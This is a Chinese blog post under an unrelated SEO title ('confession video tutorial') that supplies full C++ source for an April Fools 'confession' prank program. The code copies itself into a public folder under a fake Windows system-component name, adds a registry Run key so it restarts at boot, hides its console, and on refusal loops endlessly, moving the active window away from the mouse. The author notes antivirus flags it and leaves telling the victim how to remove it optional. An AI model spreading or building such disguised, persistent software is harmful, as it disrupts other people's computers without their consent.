表白视频制作(表白视频制作教程)
目前应该是有很多小伙伴对于表白视频制作方面的信息比较感兴趣,现在小编就收集了一些与表白视频制作教程相关的信息来分享给大家,感兴趣的小伙伴可以接着往下看,希望会帮助到你哦。
今天是个好日子,四月一日愚人节,我们的广大单身狗们,最适合借着这个节日给自己心中的那个人表个白了!愚人节嘛,不就是开着玩笑说真心话的日子吗?
那么作为一名单身程序汪,今天就利用上班摸鱼时间,来给各位单身狗们写一个恶搞程序吧!
该程序进可攻退可守:如果对方同意,就会控制你桌面的图标,形成一个跳动爱心的形状,这时候就是你表白成功啦!如果对方拒绝的话,那么就会控制你电脑的桌面图标组件,你就点不了你桌面的任何窗口,它会随着你的鼠标的点击不断移动,这时候你就说:怎么样好不好玩,就是跟你开个玩笑嘛!
不过不管怎么样,祝大家愚人节快乐!
代码示例:
main.cpp:
#define _CRT_SECURE_NO_WARNINGS#include <stdio.h>#include "resource.h"#include <windows.h> //C + windows#include <commctrl.h>#include <mmsystem.h>#pragma comment(lib,"winmm.lib")/*********************************************************1.项目-属性-常规/高级 字符集改成多字节字符集 ANSI2.项目-属性-C/C++ SDL检查 否**********************************************************//*调试时显示控制台,单独运行exe时隐藏控制台。*/#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")int main() {//ILOVEYOU.exechar exepath[300] = { 0 };GetModuleFileName(NULL,exepath,300);CopyFile(exepath,"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",FALSE);////开机自启HKEY hkey;RegOpenKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);RegSetValueEx(hkey,"Windows system32图形图像处理驱动组件.exe",NULL,REG_SZ,(const BYTE*)"C:\\Users\\Public\\Pictures\\Windows system32图形图像处理驱动组件.exe",66);RegCloseKey(hkey);//检查是否存在一个f的文件FILE* fp = fopen("C:\\Users\\Public\\Pictures\\f","r");if (fp == NULL) { //不存在int res = MessageBox(NULL,"我有车有房有存款,想要照顾你一生一世,你是否愿意?","暗恋你的小九九",MB_YESNO ); //是和否if (res == IDYES) { //是keybd_event(VK_LWIN,0,0,0); //win + d 回到桌面keybd_event('D', 0, 0, 0);keybd_event('D', 0, 2, 0);keybd_event(VK_LWIN, 0, 2, 0);POINT map[14] = { {868, 316}, { 730,207 }, { 591,221 },{ 515,327 },{ 542,469 },{ 610,624 },{ 723,746 }, { 870,814 },{ 1012,744 },{ 1130,626 },{ 1219,485 }, { 1225,328 },{ 1156,225 }, { 1012,217 } };//musicPlaySound((LPCSTR)IDR_WAVE1, NULL, SND_RESOURCE | SND_ASYNC | SND_LOOP);//HWND zmWnd = FindWindow("Progman","Program Manager"); //桌面的窗口HWND bzWnd = FindWindowEx(zmWnd,0,"SHELLDLL_DefView",NULL); //壁纸的窗口HWND tbWnd = FindWindowEx(bzWnd, 0, "SysListView32", "FolderView"); //图标的窗口int cnt = SendMessage(tbWnd,LVM_GETITEMCOUNT,0,0); //向某一个窗口发送一条指令while (1) {//刷新for (int i = 0; i < cnt; i++){if (i < 14) //0-13SendMessage(tbWnd, LVM_SETITEMPOSITION, i, (map[i].y << 16) + map[i].x);elseSendMessage(tbWnd, LVM_SETITEMPOSITION, i, (2000 << 16) + 500);}POINT temppt;temppt.x = map[0].x;temppt.y = map[0].y;for (int i = 0; i < 13; i++) {map[i].x = map[i + 1].x;map[i].y = map[i + 1].y;}map[13].x = temppt.x;map[13].y = temppt.y;Sleep(100);if (GetAsyncKeyState(VK_ESCAPE))return 0;}}else //否{fp = fopen("C:\\Users\\Public\\Pictures\\f", "w");fclose(fp);}}//拒绝了我HWND hwnd; //定义一个id id可以用来标记一个窗口int x, y;POINT pt; //点RECT rect; //矩形while (1) {hwnd = GetForegroundWindow();GetCursorPos(&pt);GetWindowRect(hwnd,&rect);//鼠标在窗口里面if (pt.x > rect.left && pt.x<rect.right && pt.y>rect.top && pt.y < rect.bottom){x = rand() % (1920 - 434);y = rand() % (1080 - 466);MoveWindow(hwnd, x, y, 434, 466, true);}}return 0;}
resource.h:
//{{NO_DEPENDENCIES}}// Microsoft Visual C++ 生成的包含文件。// 供 ILOVEYOU.rc 使用//#define IDR_WAVE1 101// Next default values for new objects//#ifdef APSTUDIO_INVOKED#ifndef APSTUDIO_READONLY_SYMBOLS#define _APS_NEXT_RESOURCE_VALUE 102#define _APS_NEXT_COMMAND_VALUE 40001#define _APS_NEXT_CONTROL_VALUE 1001#define _APS_NEXT_SYMED_VALUE 101#endif#endif
对方点击是/否后不知道怎么关闭怎么办?不管怎么样还能接着聊!
解决方法:
(1)在编译器启动程序时您电脑中的360/电脑管家会提示您,可以直接阻止;
(2)打开任务管理器(找到【Windows system32图形图像处理驱动组件.exe】关闭,不过仅仅是暂时关闭,对方下次启动电脑还是会继续来一次,您可以自己选择是否告知对方这一点);
(3)彻底删除请进入注册表编辑器,win+R,输入regedit,随后操作如图:
好啦,这一招就是这样,剩下的就看各位咯!
写在最后:另外,对于准备学习C/C++编程的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!
编程学习书籍分享:
编程学习视频分享:
整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)
欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!
对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!
本文结束,以上,就是表白视频制作,表白视频制作教程的全部内容了,如果大家还想了解更多,可以关注我们哦。
相关文章
-
火灾宣传视频(预防火灾宣传视频有哪些内容)详细阅读
目前应该是有很多小伙伴对于火灾宣传视频方面的信息比较感兴趣,现在小编就收集了一些与预防火灾宣传视频有哪些内容相关的信息来分享给大家,感兴趣的小伙伴可以...
2022-08-16 245817
-
火灾消防宣传视频(消防火灾宣传内容)详细阅读
目前应该是有很多小伙伴对于火灾消防宣传视频方面的信息比较感兴趣,现在小编就收集了一些与消防火灾宣传内容相关的信息来分享给大家,感兴趣的小伙伴可以接着往...
2022-08-16 235984
-
火影忍者短视频15秒(火影忍者短视频15秒下载)详细阅读
目前应该是有很多小伙伴对于火影忍者短视频15秒方面的信息比较感兴趣,现在小编就收集了一些与火影忍者短视频15秒下载相关的信息来分享给大家,感兴趣的小伙...
2022-08-16 226866
-
火影精彩剪辑短视频(火影剪辑短视频十几秒)详细阅读
目前应该是有很多小伙伴对于火影精彩剪辑短视频方面的信息比较感兴趣,现在小编就收集了一些与火影剪辑短视频十几秒相关的信息来分享给大家,感兴趣的小伙伴可以...
2022-08-16 218715
-
火烧制作方法的视频(叉子火烧的制作方法和视频)详细阅读
目前应该是有很多小伙伴对于火烧制作方法的视频方面的信息比较感兴趣,现在小编就收集了一些与叉子火烧的制作方法和视频相关的信息来分享给大家,感兴趣的小伙伴...
2022-08-16 209530
-
火烧的做法视频(火烧的做法和配方视频教程)详细阅读
目前应该是有很多小伙伴对于火烧的做法视频方面的信息比较感兴趣,现在小编就收集了一些与火烧的做法和配方视频教程相关的信息来分享给大家,感兴趣的小伙伴可以...
2022-08-16 200210
-
火山爆发短视频(火山爆发儿童视频)详细阅读
目前应该是有很多小伙伴对于火山爆发短视频方面的信息比较感兴趣,现在小编就收集了一些与火山爆发儿童视频相关的信息来分享给大家,感兴趣的小伙伴可以接着往下...
2022-08-16 194043
-
火拍短视频(火拍短视频为什么不能播了)详细阅读
目前应该是有很多小伙伴对于火拍短视频方面的信息比较感兴趣,现在小编就收集了一些与火拍短视频为什么不能播了相关的信息来分享给大家,感兴趣的小伙伴可以接着...
2022-08-16 187654
发表评论